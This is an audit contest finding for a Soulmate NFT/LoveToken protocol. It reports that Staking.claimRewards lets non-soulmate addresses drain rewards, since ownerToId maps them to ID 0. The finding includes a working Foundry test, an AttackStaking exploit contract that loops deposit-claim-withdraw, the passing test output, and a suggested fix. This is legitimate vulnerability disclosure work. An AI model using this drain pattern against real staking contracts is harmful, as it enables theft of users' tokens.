Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Malicious soulmate can transfer some earned LoveTokens and deposit it using a malicious contract to drain rewards in `Staking` contract

Summary

A soulmate that has earned some LoveTokens either from Airdropor Staking can transfer some of that tokens to an AttackStaking contract, deposit tokens to Staking:deposit, exploit the ownerToId mapping to 0 for non-existent addresses and claimRewards.

Vulnerability Details

Proof of Code:

Paste the below code in your forge test suite contract:

Code
function setUp() public {
airdropVaultContract = new Vault();
stakingVaultContract = new Vault();
soulmateContract = new Soulmate();
loveTokenContract = new LoveToken(ISoulmate(address(soulmateContract)), address(airdropVaultContract), address(stakingVaultContract));
airdropContract = new Airdrop(ILoveToken(address(loveTokenContract)), ISoulmate(address(soulmateContract)), IVault(address(airdropVaultContract)));
stakingContract = new Staking(ILoveToken(address(loveTokenContract)), ISoulmate(address(soulmateContract)), IVault(address(stakingVaultContract)));
// let's initialize vault
airdropVaultContract.initVault(ILoveToken(address(loveTokenContract)), address(airdropContract));
stakingVaultContract.initVault(ILoveToken(address(loveTokenContract)), address(stakingContract));
}
function setUpSoulmates() public {
vm.prank(soulmate1);
soulmateContract.mintSoulmateToken();
vm.prank(soulmate2);
soulmateContract.mintSoulmateToken();
assertEq(soulmateContract.soulmateOf(soulmate1), soulmate2);
}
function testNonSoulmateCanClaimUnclaimedSoulmateStakedTokens() public {
/**
In a situation where
step 1: a malicious participant is an address
that is also a Soulmate.
step 2: gets some LoveToken to stake from daily Airdrops
step 3: transfer to some other address the Lovetokens and
deposit the LoveTokens (as that other address) in Staking SC
so as to have a non-zero value in userStakes mapping
step 4: claim as much rewards as possible😈
*/
setUpSoulmates();
address soulmate3 = makeAddr("soulmate3");
// malicious soulmate
address soulmate4 = makeAddr("soulmate4");
// step 1: let's become a Soulmate
vm.prank(soulmate3);
soulmateContract.mintSoulmateToken();
vm.startPrank(soulmate4);
soulmateContract.mintSoulmateToken();
vm.warp(1 weeks + 1);
// step 2: let's get some LoveToken airdrop as a Soulmate
airdropContract.claim();
vm.stopPrank();
uint256 loveTokenDeposit = loveTokenContract.balanceOf(soulmate4);
assert(loveTokenDeposit > 0);
// step 3: let's transfer & deposit the LoveTokens airdropped to us
uint256 numIterations = loveTokenContract.balanceOf(address(stakingVaultContract)) / (1 * 10 ** 18); // infinite calls
numIterations = 10000;
// claim as much rewards as possible
for (uint256 i=0; i < numIterations; i++) {
/// step 4: ⚔️💰
AttackStaking attackStaking = new AttackStaking();
vm.startPrank(soulmate4);
loveTokenContract.transfer(address(attackStaking), loveTokenDeposit);
attackStaking.attack(address(stakingContract), address(soulmateContract), address(loveTokenContract));
vm.stopPrank();
}
console.log(loveTokenContract.balanceOf(soulmate4));
assertEq(loveTokenContract.balanceOf(soulmate4), ((numIterations * loveTokenDeposit * (block.timestamp - soulmateContract.idToCreationTimestamp(0))) / 1 weeks) + loveTokenDeposit);
vm.stopPrank();
}

Below is the AttackStaking contract to perform the exploit:

Code
contract AttackStaking {
Staking stakingContract;
Soulmate soulmateContract;
LoveToken loveTokenContract;
function attack(address _stakingContract, address _soulmateContract, address _loveTokenContract) public {
stakingContract = Staking(_stakingContract);
soulmateContract = Soulmate(_soulmateContract);
loveTokenContract = LoveToken(_loveTokenContract);
/**
let's check if the difference between (block.timstamp) and
soulmateContract.idToCreationTimestamp(0) is >= 1 week
*/
uint256 timeDifference = block.timestamp - soulmateContract.idToCreationTimestamp(0);
if ((timeDifference % 1 weeks) >= 1) revert("Less than one week to exploiting!");
uint256 loveTokenBal = loveTokenContract.balanceOf(address(this));
// we need to have some LoveTokens in our balance to proceed with exploit
if (loveTokenBal == 0) revert("Transfer some LoveTookens to proceed with exploit!");
loveTokenContract.approve(address(stakingContract), loveTokenBal);
stakingContract.deposit(loveTokenBal);
// let's claim rewards 😈
stakingContract.claimRewards();
// withdrawing stakes
stakingContract.withdraw(stakingContract.userStakes(address(this)));
// send received tokens to msg.sender
loveTokenContract.transfer(msg.sender, loveTokenContract.balanceOf(address(this)));
}
}

Run the command below in your terminal to see the test result:

forge test --mt testNonSoulmateCanClaimUnclaimedSoulmateStakedTokens -vvvvv

RESULT

Running 1 test for test/ProtocolAudit.t.sol:ProtocolAudit
[PASS] testNonSoulmateCanClaimUnclaimedSoulmateStakedTokens() (gas: 4863982377)
Logs:
70007000000000000000000

Impact

Leads to loss of LoveTokens approved to be managed by Staking contract by a Vault

Tools Used

  • Foundry

  • Manual Code Review

Recommendations

function claimRewards() public {
uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
+ require(idToOwners[soulmateId][0] == msg.sender || idToOwners[soulmateId][1] == msg.sender);
...
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claimRewards-nft-0-lastClaim

High severity, as it allows any pending user to claim staking rewards without owning a soulmate NFT by - Obtaining love tokens on secondary markets - Transfer previously accrued love tokens via airdrops/rewards to another account and abusing the `deposit()` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.